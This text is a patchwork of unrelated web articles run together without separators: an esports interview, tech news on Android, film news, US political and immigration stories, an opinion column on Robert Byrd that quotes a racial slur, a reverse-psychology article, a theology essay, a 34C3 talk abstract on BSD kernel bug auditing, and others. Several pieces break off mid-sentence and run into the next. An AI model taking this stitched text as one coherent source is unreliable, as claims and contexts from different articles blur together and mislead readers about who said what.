PraY: Troll Kim was my previous name, and it was an easy name to be referred by and witty at the same time. When I changed my name for Najin, the first name that I thought of when I was quickly going through possible names was PraY... there was no though process behind the selection.
It seems that either Corki, Ezreal, and Graves are the only champions picked to take the ADC position. Which champion would you pick if they were all banned? What about Draven or Varus?
PraY: Those three are popular because they all have an escape skill, and I think I would take Sivir or Ashe if those three champions were banned. Draven or Varus doesn't have an escape skill also...
PraY taking out Yellowpete in the S2 Championships
What separates the "good" ADC players from the "best" ones?
PraY: As the person who has to shine in the late game, not missing a single CS is the key.
In the 3rd/4th place match of the OGN Summer tournament, and especially in the Korean Regionals, you played some very good matches against Azubu Blaze and Cpt Jack, who is considered the top ADC in Korea.
PraY: We practiced a LOT after we lost to CLG.EU in the OGN Summer semi-finals, and I think the amount of practice showed itself in the 3rd/4th place match against Cpt Jack.
If Azubu Blaze has a weakness...?
PraY: Top lane? In our opinion with MakNooN we have the best top-laner and he did a lot of solo-kills in lane.
Did you expect to be where you are right now, competing for the S2 Championship considering that NJS is a relatively new team?
PraY: Honestly, I didn't. I thought Azubu Blaze would enter the Championship as the 1st seed and that we wouldn't be able to participate in it.
MakNooN called you Dodoria in his Reddit AMA, and the Korean LoL community seems to label you as such.
PraY: I find it funny. I would think that that is an indicator of popularity.
Hmm...; Images courtesy of Inven
Do you have a "rival"? In which position do you see yourself among the ADC players around the world?
PraY: I don't think there is someone that I would consider a rival. I don't even know if I'm a good player myself. People can make their judgments in the S2 Championship.
Is there something that you think you need to work on to improve your play?
PraY: I still miss CS in situations where I'm not supposed to, and I'll have to work on that.
Can you talk about your coach and how important he is to your team?
PraY: He organizes our schedule and arranges scrimmages for us. This is very convenient for us. He is also very helpful for the mental game.
Do you think there is a difference in skill level between Asian and non-Asian teams? In which perspectives?
PraY: Only Abuzu Blaze has competed overseas, and for that reason I think it's too early to state an opinion.
What is the meaning of life?
PraY: I live to become rich.
Any last remarks?
PraY: Please cheer for NJS XD. I thinks Cain is the best support in the world... I hate it when a global ultimate is used in bot lane... and like probably any other player in the S2 Championship I wanted to face M5 in the Finals... unfortunately that didn't pan out :'(The ART runtime is something we've been able to dabble with for a little while now but from Android 'L' we'll be using it exclusively as it replaces Dalvik. Google is promising a 2x performance increase over Dalvik and it's truly cross-platform with support for ARM, x86 and MIPS.
Of course, there's more than just that. ART is fully 64-bit compatible and promises to be more memory efficient and have fewer pauses. It has a new garbage collector and memory allocator to help keep things running nice and smoothly and best of all – for developers, at least – app developers won't have to change a single line of code to be compatible with ART in Android 'L'.
It also brings a bunch of GPU performance improvements and the Android extension pack that has been defined with help from the GPU vendors. The feature set includes tools such as tesselation, geometric shaders, computer shaders, ASTC texture compression. And the demo was pretty good too, with Unreal 4 being shown off and looking pretty stunning and demonstrating how mobile graphics will begin to close the gap to desktop games.
The Google I/O 2014 keynote continues so be sure to come join us in the liveblog!Se7en’s Andrew Kevin Walker to script Lone Wolf and Cub movie
The Hollywood Reporter brings word that Paramount Pictures has landed long-in-development and long-running Japanese manga Lone Wolf and Cub, with the studio having now enlisted Se7en scribe Andrew Kevin Walker to pen the script.
Justin Lin (Fast & Furious, Star Trek Beyond) has been attached to the project since 2012 and is set to produce the film while also eyeing to direct the adaptation.
Described as an epic samurai adventure, Lone Wolf and Cub was first published in 1970 from writer Kazuo Koike and artist Goseki Kojima. The series ran for six years with 28 volumes of content and over 7,000 pages. The series follows Itto Ogami, the Shogun’s executioneer, who finds himself on an unending quest for revenge after his family is murdered, leaving only his infant son alive. The series follows their adventures as a father and son team and as the young Daigoro grows up they became a pair of assassins.
Lone Wolf and Cub was previously adapted into six feature films starring Tomisaburo Wakayama as Itto Ogami in the early to mid 1970s. Various other TV adaptations of the series have been created over the years as well, including a series running from 1973 to 1976 and one from 2002 to 2004.President Obama’s top reelection strategist conceded surprise Monday that Republican super PACS didn’t attack Obama far earlier, Mitt Romney didn’t invest much more in ground operations, and that the Republican nominee played narrowly to the party base in picking Rep. Paul Ryan as a running mate.
Offering a lengthy dissection of the campaign, David Axelrod told a Chicago audience that |
TG Interiors seeking comment were not returned.
Patel said it was his understanding that the workers had proper documentation. Given what happened, he said it is unlikely he will hire the Texas contractor for future jobs.
"We don't take the system lightly, and we don't deviate," Patel said.
George LaBarbara, Patel's superintendent in charge of the $8 million hotel project, now regularly checks that all workers at the site have proper documentation to work in the United States.
"We're not required to do it, but we are," Patel said, adding that he encourages subcontractors to hire local residents to work on his projects.
Of the 23 workers detained on Feb. 13 at a convenience food store just down the road from a sprawling apartment construction site on the 4800 block of Hamburg's Southwestern Boulevard, seven ended up charged with either felony re-entry after being previously deported or immigration violations, according to U.S. Immigration and Customs Enforcement officials.
Those workers were employed by subcontractors who were hired by yet another subcontractor, Bing said.
DGA Builders of Pittsford, the general contractor at Clifton Heights, declined to comment when contacted by The Buffalo News. But a construction worker at the site told The News that worker documents are now being carefully reviewed.
Economy affected
And it is not only unions who tip off ICE and the Border Patrol, according to Amherst immigration lawyer Michael B. Berger. Construction contractors provide information to federal authorities if they believe a competitor has gained an unfair advantage by employing less expensive undocumented immigrants, he said.
"This especially happens in roofing and siding work often performed by undocumented workers and certainly unions and construction companies that rely on union workers see it as an unfair disadvantage," Berger said. "I've had clients tell me that they were arrested because of tips from other contractors."
Berger, an immigration lawyer of 40 years, said the Trump administration's focus on enforcement of immigration laws could harm the local economy.
"There has to be a safety valve to prevent overreaction to remove illegal aliens from this country without consideration to the consequences of the local economy," he said, pointing out that Western New York farmers are often unable to hire Americans.
"So they rely very heavily on undocumented workers," he said.It’s been a long-running joke that Robert C. Byrd was the living senator who’d named the most monuments after himself. In addition to placing an illegal, taxpayer-funded statue of himself in the West Virginia State Capitol, Byrd’s extraordinary narcissism led to the creation of a vast array of public works, monuments and roads, all bearing the late senator’s oft-sullied name. Monday morning, at the age of 92, Byrd passed away. This week we’re going to hear a lot of news stories lauding a man who held the dubious distinction of being the longest serving senator in U.S. history. It’s worth noting that this champion among Democrats will leave behind a legacy of bigotry, racism and hypocrisy that flies directly in the face of the values his party claims to hold so dear.
In 1942, if you were driving down the road that Byrd would eventually rename the Robert C. Byrd Expressway, it would’ve been best if you weren’t African-American. West Virginia was a state notorious for its mistreatment of minorities. Racism was a sad fact of life, and Byrd wouldn’t have had it any other way. We know this because he’d recently been elected to the position of “Exalted Cyclops” in the Ku Klux Klan. He held the title for a year, leaving the organization in 1943. Later in his political life, he would portray his Klan tenure as a youthful mistake. Mistake or not, he remained sympathetic to the cause. Three years after resigning, he famously claimed, “The Klan is needed today as never before, and I am anxious to see its rebirth here in West Virginia.”
In the 1960’s, Byrd again emerged as a lofty symbol of tolerance when he came out against the landmark 1964 Civil Rights Act. Congressional Democrats stood firm against the measure in a filibuster that lasted a whopping 83 days. Byrd himself led the charge by personally holding the floor for 14 hours. To his chagrin, Senate Republicans forced the bill through. Not to be deterred, however, Byrd returned the following year and tried to put an end to the 1965 Voting Rights Act, which outlawed discriminatory practices that had kept African-Americans out of the voting booth. Again, he failed.
Twenty years later, he joined the Baptist Church and allegedly saw the error of his ways. He would often cite his religious awakening as a catalyst that opened his eyes to the evils of intolerance. With his racism in check, he turned his attention to pork barrel spending and, in 1999, became the first person in the history of the United States government to secure over one billion federal taxpayer dollars for his state. Much of that money has gone to fund pet projects such as a pair of “Robert C. Byrd Federal Buildings,” the “Robert C. Byrd Institute for Advanced Flexible Manufacturing” and the “Robert C. Byrd Federal Correctional Institution.” His constant spending earned him the title “King of Pork.”
In 2001, Byrd again inserted his enlightened viewpoint into the national racial debate. Apparently, his 1984 epiphany wasn’t quite enough to dull his hostility. He caused a controversy when he told Tony Snow, “I think we talk about race too much.” He should have quit there. Unfortunately, seconds later, he added:
There are white niggers. I’ve seen a lot of white niggers in my time, if you want to use that word. We just need to work together to make our country a better country, and I’d just as soon quit talking about it so much.
A quick note to future Senators: if you’re in the public eye, and that’s your best quote about racism, you really are better off not talking about it.
To quote President Obama, “America has lost a voice of principle and reason.” May he rest in peace. After offering the Senate 50 years of hypocrisy, greed and racism, it’s been announced that the senator will receive a funeral with full military honors. One wonders if African-American soldiers will be allowed to attend. After all, in 1948, Byrd fought vigorously against allowing the integration of the armed forces. Perhaps, to honor the senator’s own desires, minority servicemen should be allowed to view his funeral from a separate, but equal, location.
With a little luck, Senator Byrd will serve as the last vestige of an era in which such despicable viewpoints were able to openly thrive.
Robert Laurie is a Michigan-based conservative columnist and freelance writer. He also runs a daily political commentary blog at RobertLaurie.net.Reverse psychology is a technique involving the assertion of a belief or behavior that is opposite to the one desired, with the expectation that this approach will encourage the subject of the persuasion to do what actually is desired. This technique relies on the psychological phenomenon of reactance, in which a person has a negative emotional reaction to being persuaded, and thus chooses the option which is being advocated against.[1] This may work especially well on a person who is resistant by nature, while direct requests works best for people who are compliant.[2] The one being manipulated is usually unaware of what is really going on.[3]
Among Children [ edit ]
Susan Fowler, an author writes "Beware that such strategies [of reverse psychology] can backfire. Children can sense manipulation a mile away." She instead recommends leading by example.[4]
The psychology professor John Gottman advises against using reverse psychology on teens, with the presumption that they will rebel stating that "don't try to use reverse psychology...such strategies are confusing, manipulative, dishonest, and they rarely work".[5]
Reverse psychology is often used on children due to their high tendency to respond with reactance, a desire to restore threatened freedom of action. Some parents feel that the best strategy is sometimes "reverse psychology": telling children to stay in the house when you really want them to choose to go outside and play.[6][not in citation given] Questions have however been raised about such an approach when it is more than merely instrumental, in the sense that "reverse psychology implies a clever manipulation of the misbehaving child"[7] and nothing more.[vague]
In Psychotherapy [ edit ]
Closely associated with reverse psychology in psychotherapy is the technique of "the Paradoxical intervention....This technique has also been called 'prescribing the symptom' and 'antisuggestion'".[8] The therapist frames their message so that resistance to it promotes change.[9]
Such interventions "can have a similar impact as humor in helping clients cast their problems in a new light....By going with, not against, the client's resistance, the therapist makes the behavior less attractive".[10] This is referred to as reframing. This means pretending to agree with clients thoughts and beliefs; to reaffirm them out loud to make the clients themselves realize their fallibility.[11]
In Dating [ edit ]
We value people and things unavailable to us - things we can't have.[12] Common complaint men have about women is that they are attracted to men with a disagreeable personality.[13] However, this is no less true about men's attraction towards women.[14] Showing signs of confidence and independence is attractive for both sexes.[15] Dating coach Neil Strauss says "The dating dichotomy isn't actually between nice guys and mean guys or good guys and bad guys. It's between weak guys and strong guys. Women are drawn to men who demonstrate strength—not necessarily physical strength, but the ability to make them feel safe."[16]
The reason we want to be with emotionally abusive and unavailable people is because of unresolved issues from the unconcious mind.[17] Being emotionally unavailable to your partner will damage the health of a long-term romantic relationship.[18]
Paradoxical marketing [ edit ]
"In a world where it is expected that all things should be available... less availability" has emerged as a new selling point: "by engaging in such a restricted anti-marketing ploy the brand has won kudos".[19] The result can be "what the Japanese call a secret brand... no regular retail outlets, no catalog, no web presence apart from a few cryptic mentions... people like it because it's almost impossible to find".[20] Such an example of a brand catering to the customers exquisite taste is Cayce Pollard's "The Gabriel Hounds".[21]
Adorno and Horkheimer [ edit ]
Theodor Adorno and Max Horkheimer characterized the effect of the culture industry as "psychoanalysis in reverse". Their analysis began with the dialectic which operated in Germany when heirs of the Romantic movement became seekers of "Strength through Joy", only to have their movement co-opted by a combination of the mass media and National Socialism. A modern example begins with the "fitness and jogging" boom in the United States in the 1970s. The "running craze" at the Boston Marathon and in California, dialectically, was the thesis that one did not have to be "Rocky" in a sweaty gym to be physically fit, and that body acceptance was the key to effective aerobic training. The culture industry responded to the thesis with major advertising campaigns from Calvin Klein and others, using images featuring exceptionally toned models. People compared themselves to these models, which created a sense of competition, and many high school students avoid jogging because of the resultant body shame.
The culture industry mass-produces standardized material. This would not be dangerous if the material was meaningless, but it frequently offers and reinforces ideals and norms representing implied criticism of those who fail to match up. Empirical studies show that mass culture products can lower confidence and self-esteem, and cause humiliation among men and women whose particular characteristics fall outside the normalised range for appearance, behaviour, religion, ethnicity etc. Similarly, advertising frequently seeks to create a need to buy by showing differences between actual and ideal situations. The intention is usually to induce dissatisfaction with the present situation, and to induce expectations of satisfaction through the acquisition of products which will transform the actual reality into the idealized reality. Hence, if the peer group buys, all those who cannot afford the products will feel additional unhappiness and frustration until they eventually join the group. Thus, sometimes the process of advocacy for the one outcome really intends to produce the opposite outcome as the motivation for purchase.
However, more often than not, the cause and effect is unintended. Marxist logic applied to the culture industry indicates that it is, per se, a dialectic in which declining profit margins and increasing costs make investors anxious for "sure things". Repeating winning formulas and stereotyping create the lowest common denominator products with the lowest costs. But the less creative the input, the more likely it becomes that roles will be cast in ways which match, rather than challenge, common prejudices which can inadvertently (or quite deliberately) damage the esteem of those in the marginalized groups.[22][23][page needed]
In popular culture [ edit ]
not to press it A stereotypical joke sign, inviting the userto press it
Classic examples of reverse psychology in popular culture include a large, bright red button with a sign next to it saying "Do not push", or a sign saying "Jump at your own risk".
There are numerous examples of reverse psychology in fiction, cinema, and cartoons, including William Shakespeare's Julius Caesar where Mark Antony uses reverse psychology to get the town's people to cause a riot. Mark Anthony pretends to side with Brutus by complementing on his deeds which have led to Ceasar's murder, while actually inciting the crowd's anger.[24]
In one of Joel Chandler Harris's Uncle Remus stories, Br'er Rabbit escaped from Br'er Fox by repeatedly pleading "Please, Br'er Fox, don't fling me in that briar patch." "The fox did so, which allowed the rabbit to escape: The Rabbit used'reverse psychology' to outsmart the Fox."[25]
In Edgar Allan Poe's The Cask of Amontillado, Montresor uses reverse psychology to persuade Fortunato to enter his vaults.[26] He says that Fortunato is too tired and should get some rest and that he should find someone else to help him with his wine tasting problem. Montresor knew that Fortunato would disagree and insisted on entering the vault, leading him into his death by immurement.
The Swedish fictional character Alfie Atkins uses reverse psychology in the children's book You're a Sly One, Alfie Atkins! from 1977.[27] He exaggerates his own childishness in order to convince his older cousins to sit at the grown-up table.
In the 1992 Disney film Aladdin, the titular character, upon freeing the Genie from the lamp, uses reverse psychology to trick the Genie into freeing him from the Cave of Wonders, without using one of his 3 wishes to do so.
See also [ edit ]
References [ edit ]
Further reading [ edit ]In a 5-3 ruling on Monday, the United States Supreme Court struck down a pair of Texas abortion restrictions that would have shut down dozens of clinics across the state.
While Justice Ruth Bader Ginsburg joined Justice Stephen Breyer in his majority opinion, she penned her own scathing concurring opinion that, in one brief paragraph, warns lawmakers across the country that medically unnecessary abortion restrictions will never be tolerated by the high court.
The 2013 Texas law that the court struck down would have required all abortions to take place in ambulatory surgical centers, or mini-hospitals, instead of regular clinics. Ginsburg kept her argument simple: Abortions are statistically safer than many simpler medical procedures, including tonsillectomies, colonoscopies, in-office dental surgery and childbirth -- but Texas does not subject those procedures to the same onerous requirements.
"Given those realities, it is beyond rational belief that H.B. 2 could genuinely protect the health of women, and certain that the law 'would simply make it more difficult for them to obtain abortions,' Ginsburg wrote. "When a State severely limits access to safe and legal procedures, women in desperate circumstances may resort to unlicensed rogue practitioners... at great risk to their health and safety."
The Texas abortion law has already shut down about half of the 42 clinics that operated across the state in 2013 before it went into effect, leaving large swaths of rural Texas without any abortion provider. Women without access to safe and legal abortion in the state have already started to buy abortion pills from Mexico and take matters into their own hands.
But Monday's Supreme Court decision in Whole Woman’s Health v. Hellerstedt does not only affect Texas. Many GOP-led state legislatures, especially across the South, have passed laws similar to the Texas law that are designed to regulate abortion clinics out of business. These so-called TRAP (Targeted Regulation of Abortion Providers) laws fly in the face of Roe v. Wade and Planned Parenthood v. Casey, the two major abortion decisions of the last century that prevent states from imposing an "undue burden" on women's ability to get a safe and legal abortion.
Ginsburg made it clear in her concurring opinion on Monday that the high court will never allow these types of laws to stand.How far does God’s power extend? Is there any state of affair that an omnipotent God cannot bring about? These are the questions Christian theologians and philosophers have wrestled with throughout centuries.
God’s omnipotence prima facie appears to be challenged by the existence of pain and suffering in the world He created good. Was God not powerful enough to make sure that the creatures He created in His own image would not experience pain and suffering?
For C. S. Lewis existence of pain and suffering did not challenge God’s omnipotence as he once believed when he was a self-claimed atheist. Pain and suffering is the result of mankind’s bad exercise of freedom of will endowed by God. Lewis contended:
God created things which had free will. That means creatures which can go either wrong or right. Some people think they can imagine a creature which was free but had no possibility of going wrong; I cannot. If a thing is free to be good it is also free to be bad. And free will is what has made evil possible. (2002, 47-48)
The reason God gave higher creatures free will is that it is “the only thing that makes possible any love or goodness or joy worth having”(48) The world without free will creatures would indeed be free of pain and suffering, but it would also be a world without genuine “happiness of being freely, voluntarily united to Him[God] and to each other.”(ibid)
According to Lewis, it is logically impossible for God to create genuinely free creatures who freely choose to do the right acts only. Shadowing Augustine¹ and Thomas Aquinas², Lewis submitted “that not even Omnipotence could create a society of free souls without at the same time creating a relatively independent and “inexorable” nature.” (1996, 26) He understood omnipotence to encompass the power to bring about logical possible states of affair only. Lewis wrote,
It remains true that all things are possible with God: the intrinsic impossibilities are not things but nonentities. It is no more possible for God than for the weakest of His creatures to carry out both of two mutually exclusive alternatives; not because His power meets an obstacle, but because nonsense remains nonsense even when we talk it about God.”(ibid, 25)
He concluded that,
If you choose to say “God can give a creature free will and at the same time withhold free will from it, “you have not succeeded in saying anything about god: meaningless combinations of words do not suddenly acquire meaning simply because we prefix to them the two other words “God can”(ibid)
Rene Descartes would have disagree with Lewis. Descartes entertained the idea that our intellect is finite while God’s power is infinite, thus we cannot set bounds from our finite minds what God’s power can do. He wrote,
“I boldly assert that God can do everything which I conceive to be possible, but I am not so bold as to deny that he can do whatever conflicts with my understanding – I merely say that it involves a contradiction (LHM³ 241).
Descartes’ God, wrote Harry G. Frankfurt, is “a being for whom the logically impossible is possible.” (Frankfurt 1977, 44) God, for Descartes, is ex les. His power is beyond our reason and morality. God, in this view, can bring about any state of affairs. If this is true, then contrary to Lewis, God could have created higher creatures with free will that freely and voluntarily choose the right things only.
The problem, with adopting Cartesian absolute power of God that could even bring about logical impossible states of affair, is that the problem of pain and suffering disappears with it. If God can bring about logical impossible states of affair, then it would follow that God could bring about what atheologians believe to be logically impossible, namely the coexistence of pain and suffering and omnicompetent and benevolent God.
Previous: C. S. Lewis & The Problem of Evil
[1] De Symbolo, I.i & De Civitate, V. x [2] Summa I, Q. xxv, a. 3 [3] Rene Descartes’ letter to Henry More, 5 February 1549 in trans, and ed. Anthony Kenny(1970) Descartes Philosophical Letters. Oxford: Clarendon Press. Bib. Frankfurt, Harry G. (1977) “Descartes and the Creation of the Eternal Truths,” Philosophical Review 86 No. 1: 36-57 Lewis, C. S. (1996) The Problem of Pain. New York: Simon & Schuster. ____________ (2002) Mere Christianity. HarperCollins Publishers.The streets of Vilnius, Lithuania are full of ghost buses that blend right into their surroundings while passing through intersections as if only existing in translucent ethereal form. Matching up to the scenery beyond when glimpsed at just the right moment, the buses are momentarily camouflaged thanks to photorealistic printed imagery mounted to their exteriors for this summer’s Vilnius Street Art Festival (media by Studio Vieta).
Illusion A photo posted by Karolis (@draugas) on Aug 23, 2016 at 12:00pm PDT
Lithuanian artist Liudas Parulskis collaborated with Studio Vieta to print full-scale scenes from the city onto public trolleybuses, a charmingly retro mode of transportation that has remained popular here despite being replaced by newer transit systems in many modern metropolises. ‘Vanishing Trolleybus’ is a temporary installation encouraging pedestrians to try to catch a glimpse or a photo of the effect in action at just the right ‘vanishing point.’
Jau vaziuoja! #vilnius #vilniusstreetart #vsaf #vilniusstreets A photo posted by Vilnius Street Art Festival (@vilniusstreetartfestival) on Aug 23, 2016 at 12:07am PDT
One bus appears to be covered in imagery depicting traditional local architecture, while others capture specific street scenes around the city. Parulskis added a wolf running across an intersection to one of the buses, winking at the unofficial mascot of the city.This undated handout photo provided by Define American shows Jose Antonio Vargas. Vargas, a Pulitzer Prize-winning journalist who covered presidential politics and the 2007 Virginia Tech shootings in a high-profile reporting job at The Washington Post is going on network television to announce he is an illegal immigrant. (AP Photo/Define American)
Jose Antonio Vargas, the widely known journalist-turned-immigration-activist who penned the story "My Life as an Undocumented Immigrant" for The New York Times magazine, delivered a speech to the Online News Association (ONA) on Friday in which he challenged journalists to stop using the word "illegal" when referring to undocumented immigrants.
Vargas, 31, told the conference-goers at the annual gathering that it was time all news outlets dropped their use of what he described as a politicized smear.
"I have a really personal message to deliver," Vargas said at the start of his speech. "The message is it's time we retire the word and the term 'illegal immigrant' in referring to people. It is not only an inhumane term -- it is a political term, it is an unfair term, it is an inaccurate term."
But in the days leading up to his speech, Vargas had been on the opposite end of a lobbying campaign. Labor activists had been pressuring Vargas to renege on his speaking commitment at the Hyatt Regency hotel in San Francisco, Calif. Unite Here, a union representing many immigrant hotel workers, has had a boycott in effect on the hotel since 2010, as its workers seek a new contract. The AFL-CIO labor federation called for a global boycott of Hyatt hotels earlier this year as Unite Here negotiates with the chain.
A number of labor activists told HuffPost they were upset by Vargas' decision to speak. Prior to the conference, the union also tried unsuccessfully to persuade organizers to back out of their Hyatt commitment. But the ONA noted on the conference website that pulling out of the Hyatt contract "would have resulted in a six-figure cost -- a non-starter for a nonprofit organization such as ours."
While many journalists will be speaking at the conference this weekend, few would earn the same pressure from progressive activists as Vargas, given his high standing in the immigrant rights movement. Vargas' Times magazine piece, which detailed the torment he felt building a successful journalism career based on a lie, was hailed by immigration reform advocates as a watershed piece of memoir, inspiring other young undocumented immigrants to step forward and publicly declare their status.
Vargas told HuffPost ahead of his speech that he did feel conflicted about the venue. But in the end, he said he wanted to confront journalists "on their own turf" about their use of the term "illegal immigrant," even if it meant violating a boycott with which he sympathized. He noted that he was not being paid for the speech and was not staying or eating at the Hyatt. He also said he was not aware of the boycott when he agreed to speak at the conference.
"Labor has its own goals, and I have my own goals -- I think it fits together in the larger movement," said Vargas, who's from the Philippines and is a former employee of the Washington Post as well as The Huffington Post. "I'm sorry I have to give this speech in this building, but it doesn't mean I can't talk about what's happening outside of it."
Vargas addressed the Hyatt boycott immediately in his speech, saying he regretted being where he was. He noted that the hotel they'd gathered in had been accused of unlawfully implementing the E-Verify system without permission from the union. He also urged listeners to visit the Hyatt Hurts website, on which the union accuses the company of harsh working conditions in its hotels. The hotel chain, for its part, has accused the union of essentially running a smear campaign in order to grow its membership.
Despite Vargas' nod to the labor struggle, he was still violating the boycott in the eyes of labor activists. Julia Wong, a spokeswoman for Unite Here Local 2, said she hoped Vargas would decline the invitation to support a union that considers itself "a union of immigrants." Unite Here represents workers across the hospitality industry, many of whom are from Latin America and Asia, and a number of whom are undocumented, like Vargas.
"We are very disappointed," Wong told HuffPost ahead of the speech. "The boycott is not easy on anybody. Workers at Hyatts where it's in effect, whenever it successfully moves business, those workers lose shifts and they lose tips. And it's hard on the people who are confronted with the choice: Are you going to violate the boycott or experience the inconvenience and effort it takes to honor the boycott?"
A handful of Hyatt workers had showed up outside the hotel Friday morning to protest, a fact that ONA President Jim Brady noted in his opening remarks, referring attendees to ONA's explanation on their decision to remain at the hotel. Vargas, who received dozens of emails, Facebook messages and tweets asking him to honor the boycott, said he planned on meeting with the Hyatt workers after he delivered his message, which he summed up late in his remarks.
"Calling undocumented people 'illegal immigrants,' or worse, 'illegal aliens'... has become such a standard practice for most members of the mainstream media... that news consumers of all political persuasions do not think twice about saying it or using it," Vargas said in his speech. "For journalists who seek fairness, using the term further politicizes an already political issue... At bottom, the term dehumanizes and marginalizes the people it seeks to describe."
As for crossing the picket line, Vargas told HuffPost it wasn't the first time he'd felt uncomfortable in a particular venue.Despite what Democrats claim, U.S. Sen. Ted Cruz is not at all a naive man. He just happens to be a very clever politician, and sometimes the untrained observer has difficulty distinguishing between the two. Take, for example, Cruz's much repeated and mocked claim that net neutrality - the policy that prohibits telecommunication companies from interfering with the Internet - would be like Obamacare.
It is a clever line. It is also a clunky metaphor that works better as a political cudgel than a rhetorical device. What Texas' junior senator means is that the Federal Communications Commission treating broadband Internet service providers like telephone companies would be Obamacare for the Internet.
Currently, the FCC treats broadband providers under the same hands-off regulations as "information services," such as Facebook and YouTube. The rules, however, don't give the FCC enough authority to require that broadband providers follow a rule of content neutrality. Any company that connects point A to point B - telephones, pipelines, power lines - usually has to act like a common carrier and treat all content with a neutral hand. This allows for a fair and functioning marketplace where established players and upstart challengers have to play by the same rules. But telecoms have been caught throttling up and down their networks to squeeze money out of online companies, and they've even blocked legal web sites. An overwhelming tide of public feedback convinced the FCC to consider rescheduling broadband Internet providers as a "telecommunication service" - the same category of rules that covers phone companies.
This rescheduling would give the FCC the authority it needs to mandate net neutrality. It would also give the FCC a whole litany of other powers that few want to see enforced on Internet providers, such as rules on obscene material, price controls and other regulations that shouldn't apply to the Internet. The FCC could self-select its authority down to only net neutrality through a process called "forbearance." There's little reason to think that, if done correctly, this process wouldn't turn out fine. But telecom industry advocates are worried about the prospect of unworkable rules made functional through a series of exceptions written by appointed administrators. And that is exactly what Texas' junior senator is comparing to Obamacare.
This rescheduling isn't the same as net neutrality. Cruz does a disservice to his constituents and risks the future of the Internet by conflating federal regulation with the underlying policy it is supposed to enforce. It is like saying that breathalyzer tests are flawed, so therefore we should allow drunk driving. Mandatory content neutrality is good policy. It just so happens that the easiest way to enforce it also brings in a whole bunch of other regulations.
However, Cruz has a chance to redeem himself. Our tea party leader could rally a cause in Congress to update the Internet's regulatory rules, which haven't been touched in nearly 20 years. Instead of relying on the FCC and the courts to make policy, our elected lawmakers could actually do their jobs and write a law that properly enforces net neutrality.
Content neutrality works for our nation's natural gas pipelines and Texas' electrical grid, and it has been working for the Internet since its creation. We hope Cruz can be a leader on this. Otherwise, administrative action will have to fill in for legislation and the whole debate will descend into a political boxing match, where substantive policy succumbs to wedge issues and politicians worry more about scoring points than writing good law. Now that would be Obamacare for the Internet.Are all BSDs created equally? A survey of BSD kernel vulnerabilities.
Ilja van Sprundel
58 min
58 min 2017-12-29
2017-12-29 5993
5993 fahrplan.events.ccc.de
Playlists: '34c3' videos starting here
In this presentation I start off asking the question „How come there are only a handful of BSD security kernel bugs advisories released every year?“ and then proceed to try and look at some data from several sources.
It should come as no surprise that those sources are fairly limited and somewhat outdated.
The presentation then moves on to try and collect some data ourselves. This is done by actively investigating and auditing. Code review, fuzzing, runtime testing on all 3 major BSD distributions [NetBSD/OpenBSD/FreeBSD]. This is done by first investigating what would be good places where the bugs might be. Once determined, a detailed review is performed of these places. Samples and demos will be shown.
I end the presentation with some results and conclusions. I will list what the outcome was in terms of bugs found, and who – based on the data I now have – among the three main BSD distributions can be seen as the clear winner and loser. I will go into detail about the code quality observed and give some pointers on how to improve some code. Lastly I will try and answer the question I set out to answer („How come there are only a handful of BSD security kernel bugs advisories released every year?“).
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TagsM — Model in MVC, MVP, MVVC in Android
Artem Zinnatullin Blocked Unblock Follow Following Feb 24, 2015
Hello, dear reader, hope you are Android Developer.
Android Fragments in trouble last year, more and more developers talking about their problems and guys from Square (as always) have a solution — Flow and Mortar.
Today I found my old comment to “Advocating Against Android Fragments”
I found it because I’ve read post from Android Weekly: “An Investigation into Flow and Mortar”.
I won’t talk about Flow and Mortar (just read manuals, posts and try them). I want to notice one LITTLE THING.
Here is the picture from that post noticed in Android Weekly:
Unfortunately, a lot of developers really see Model layer like this.
Model is not JSON or XML or SQL (which is query language btw).
JSON, XML, etc is just data format, not Model. It is one of the representations of your entities.
Model is a layer, class, object, that manipulates these entities.
Q: What can we see in many apps?
A: Spaghetti code, when all “business logic” is placed into Activities and/or Fragments or now in Flow & Mortar’s Presenters with 300+ lines of code.
With a popular solutions like RxJava it will be reactive spaghetti code! (Actually, it’s better than callbackHelled spaghetti code).
What I want to say? Please, create Models.
Step by step guide:
For example: you need to get list of users from your API.
When you’ll see A/F/P — it’s Activity/Fragment/Presenter.
Create some user entity representation, class or interface (in Java) — User Write (or use autogenerated) parser from required data format, such as JSON or XML, etc Write a call to API in your A/F/P (Activity/Fragment/Presenter) Now delete call to API from your A/F/P Think about problem in step 3
If you usually write things like API calls, direct Database / ContentProvider / SharedPreferences access in your A/F/P, please stop doing it.
There are many reasons why writing such code in A/F/P is bad practice:
It’s hard to test, because you have to instantiate A/F/P instance and emulate it’s state to just execute some piece of useful code. Of course nobody (98%) of Android Developers writes tests… Sooner or later you’ll break one of the most important rules: “Don’t repeat yourself”, because later you will need to do same thing in another place of application. I guarantee this. When you will need to switch to another REST framework (Retrofit?), HTTP client (OkHttp?), Database (Realm?), Parser (Gson?) or another popular thing you’ll have to change a lot of A/F/P classes and then test them, test them again and again (now you’ll think about unit testing). Reading and, especially, changing classes with more than 300 lines of code is hard and consumes a lot of time which can be spent on more useful things like life. Nobody likes spaghetti code, but a lot of us write it.
Unfortunately, even guys from Google write apps in such bad manner, just see code samples on d.android.com or apps from AOSP or Google I/O app sources.
Model layer is solution
Better variant of getting list of users from API:
Create some user entity representation, class or interface (in Java) — User Write (or use autogenerated) parser from required data format, such as JSON or XML, etc Create Model class, for example UserModel Create a method in UserModel, like “getUsers()” that performs API call and parsing and returns a result, I suggest Observable from RxJava because it’s very flexible and nice, but you can use callbacks, or other mechanisms you want. Now just create an instance of UserModel in your A/F/P and ask it for a list of users! Have a nice day ☺
Why it’s better than doing same thing in A/F/P?
You can easily add/change behavior: add caching layer (for example via Database), make additional data transformation (when API changed, etc) or any other additional behavior in one place You can easily use same Model from many places in the application without repeating yourself Your A/F/P will be very small, just about 150–200 lines of code on the average You can create unit tests for Model You can use Dependency Injection for injecting Models into your A/F/Ps and make architecture even better and cleaner Clean code
That’s all, hope your life will become better.
P.S. this post can be applied to any kind of development, such as client-side: iOS, Windows Phone or Backend and others. But I wanted to talk about Android Development, because it’s a real problem in our world.
You can follow me in Twitter: @artem_zinOne year. That's all we've got.
Centuries of experience have made the Dutch into global experts on flood management, and in a meeting with the Houston Chronicle editorial board this week, three representatives from the Netherlands laid out in stark terms the truncated timeline that any city faces in responding to a natural disaster.
"You have a moment, you have this moment, and we ask people: So how long is this moment?" said Dale Morris, Coordinator for Water at the Royal Netherlands Embassy. His answer: "You have a year."
One year to respond to Hurricane Harvey. One year to harness the solidarity and suffering, and start investing in the |
